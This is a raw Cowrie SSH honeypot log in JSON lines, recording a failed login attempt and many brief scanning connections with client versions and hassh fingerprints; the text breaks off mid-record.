{"eventid":"cowrie.login.failed","username":"kryan","password":"12345678","message":"login attempt [kryan/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:32.004371Z","src_ip":"193.32.162.151","session":"54671c0c6b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:33.115078Z","src_ip":"193.32.162.151","session":"54671c0c6b34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":58624,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0e56f377301","protocol":"ssh","message":"New connection: 103.249.200.230:58624 (10.17.0.5:22) [session: f0e56f377301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:38.117795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:39.575595Z","src_ip":"103.249.200.230","session":"f0e56f377301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:39.789495Z","src_ip":"103.249.200.230","session":"f0e56f377301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:39.797511Z","src_ip":"103.249.200.230","session":"f0e56f377301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":59102,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f0574ea95f6","protocol":"ssh","message":"New connection: 103.249.200.230:59102 (10.17.0.5:22) [session: 1f0574ea95f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:41.453737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:41.681185Z","src_ip":"103.249.200.230","session":"1f0574ea95f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:41.904092Z","src_ip":"103.249.200.230","session":"1f0574ea95f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:41.908925Z","src_ip":"103.249.200.230","session":"1f0574ea95f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":59384,"dst_ip":"10.17.0.5","dst_port":22,"session":"26e4a68ea0eb","protocol":"ssh","message":"New connection: 103.249.200.230:59384 (10.17.0.5:22) [session: 26e4a68ea0eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:42.690538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:43.007170Z","src_ip":"103.249.200.230","session":"26e4a68ea0eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:43.231569Z","src_ip":"103.249.200.230","session":"26e4a68ea0eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:43.237299Z","src_ip":"103.249.200.230","session":"26e4a68ea0eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":59668,"dst_ip":"10.17.0.5","dst_port":22,"session":"c33077054ec2","protocol":"ssh","message":"New connection: 103.249.200.230:59668 (10.17.0.5:22) [session: c33077054ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:44.182345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:44.411578Z","src_ip":"103.249.200.230","session":"c33077054ec2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:44.627270Z","src_ip":"103.249.200.230","session":"c33077054ec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:44.632532Z","src_ip":"103.249.200.230","session":"c33077054ec2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":59919,"dst_ip":"10.17.0.5","dst_port":22,"session":"db9699ce5714","protocol":"ssh","message":"New connection: 103.249.200.230:59919 (10.17.0.5:22) [session: db9699ce5714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:45.643920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:45.932212Z","src_ip":"103.249.200.230","session":"db9699ce5714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:46.153885Z","src_ip":"103.249.200.230","session":"db9699ce5714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:46.159178Z","src_ip":"103.249.200.230","session":"db9699ce5714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":60201,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6005426da10","protocol":"ssh","message":"New connection: 103.249.200.230:60201 (10.17.0.5:22) [session: e6005426da10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:47.301639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:47.526003Z","src_ip":"103.249.200.230","session":"e6005426da10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:47.742805Z","src_ip":"103.249.200.230","session":"e6005426da10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:47.748295Z","src_ip":"103.249.200.230","session":"e6005426da10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":60505,"dst_ip":"10.17.0.5","dst_port":22,"session":"80a15b68f02d","protocol":"ssh","message":"New connection: 103.249.200.230:60505 (10.17.0.5:22) [session: 80a15b68f02d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:49.693781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:49.921564Z","src_ip":"103.249.200.230","session":"80a15b68f02d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:50.144333Z","src_ip":"103.249.200.230","session":"80a15b68f02d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:50.149959Z","src_ip":"103.249.200.230","session":"80a15b68f02d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":60788,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b277b0d6349","protocol":"ssh","message":"New connection: 103.249.200.230:60788 (10.17.0.5:22) [session: 5b277b0d6349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:51.134623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:51.393408Z","src_ip":"103.249.200.230","session":"5b277b0d6349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:51.619223Z","src_ip":"103.249.200.230","session":"5b277b0d6349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:51.624515Z","src_ip":"103.249.200.230","session":"5b277b0d6349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":61038,"dst_ip":"10.17.0.5","dst_port":22,"session":"8383d324086d","protocol":"ssh","message":"New connection: 103.249.200.230:61038 (10.17.0.5:22) [session: 8383d324086d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:52.457243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:52.699085Z","src_ip":"103.249.200.230","session":"8383d324086d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:52.917713Z","src_ip":"103.249.200.230","session":"8383d324086d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:52.922958Z","src_ip":"103.249.200.230","session":"8383d324086d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":61351,"dst_ip":"10.17.0.5","dst_port":22,"session":"077a53922fb7","protocol":"ssh","message":"New connection: 103.249.200.230:61351 (10.17.0.5:22) [session: 077a53922fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:53.922831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:54.193366Z","src_ip":"103.249.200.230","session":"077a53922fb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:54.406445Z","src_ip":"103.249.200.230","session":"077a53922fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:54.411732Z","src_ip":"103.249.200.230","session":"077a53922fb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":61719,"dst_ip":"10.17.0.5","dst_port":22,"session":"de3a5e503d6c","protocol":"ssh","message":"New connection: 103.249.200.230:61719 (10.17.0.5:22) [session: de3a5e503d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:55.314461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:55.535653Z","src_ip":"103.249.200.230","session":"de3a5e503d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:55.771960Z","src_ip":"103.249.200.230","session":"de3a5e503d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:55.777022Z","src_ip":"103.249.200.230","session":"de3a5e503d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":62067,"dst_ip":"10.17.0.5","dst_port":22,"session":"83bdc8bf4fd4","protocol":"ssh","message":"New connection: 103.249.200.230:62067 (10.17.0.5:22) [session: 83bdc8bf4fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:56.923281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:57.147535Z","src_ip":"103.249.200.230","session":"83bdc8bf4fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:57.363114Z","src_ip":"103.249.200.230","session":"83bdc8bf4fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:57.368529Z","src_ip":"103.249.200.230","session":"83bdc8bf4fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":62330,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7822c3d50a3","protocol":"ssh","message":"New connection: 103.249.200.230:62330 (10.17.0.5:22) [session: c7822c3d50a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:58.298523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:58.533231Z","src_ip":"103.249.200.230","session":"c7822c3d50a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:58.760133Z","src_ip":"103.249.200.230","session":"c7822c3d50a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:58.765443Z","src_ip":"103.249.200.230","session":"c7822c3d50a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":62647,"dst_ip":"10.17.0.5","dst_port":22,"session":"8240aa0b7782","protocol":"ssh","message":"New connection: 103.249.200.230:62647 (10.17.0.5:22) [session: 8240aa0b7782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:59.999527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:00.234612Z","src_ip":"103.249.200.230","session":"8240aa0b7782","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:00.460710Z","src_ip":"103.249.200.230","session":"8240aa0b7782","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:00.466522Z","src_ip":"103.249.200.230","session":"8240aa0b7782","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":62954,"dst_ip":"10.17.0.5","dst_port":22,"session":"730c0927588a","protocol":"ssh","message":"New connection: 103.249.200.230:62954 (10.17.0.5:22) [session: 730c0927588a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:01.597123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:01.826140Z","src_ip":"103.249.200.230","session":"730c0927588a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:02.061095Z","src_ip":"103.249.200.230","session":"730c0927588a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:02.067000Z","src_ip":"103.249.200.230","session":"730c0927588a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.162.54.10","src_port":42932,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea034b46fabe","protocol":"ssh","message":"New connection: 103.162.54.10:42932 (159.203.135.109:22) [session: ea034b46fabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:02.153236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:02.158112Z","src_ip":"103.162.54.10","session":"ea034b46fabe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"l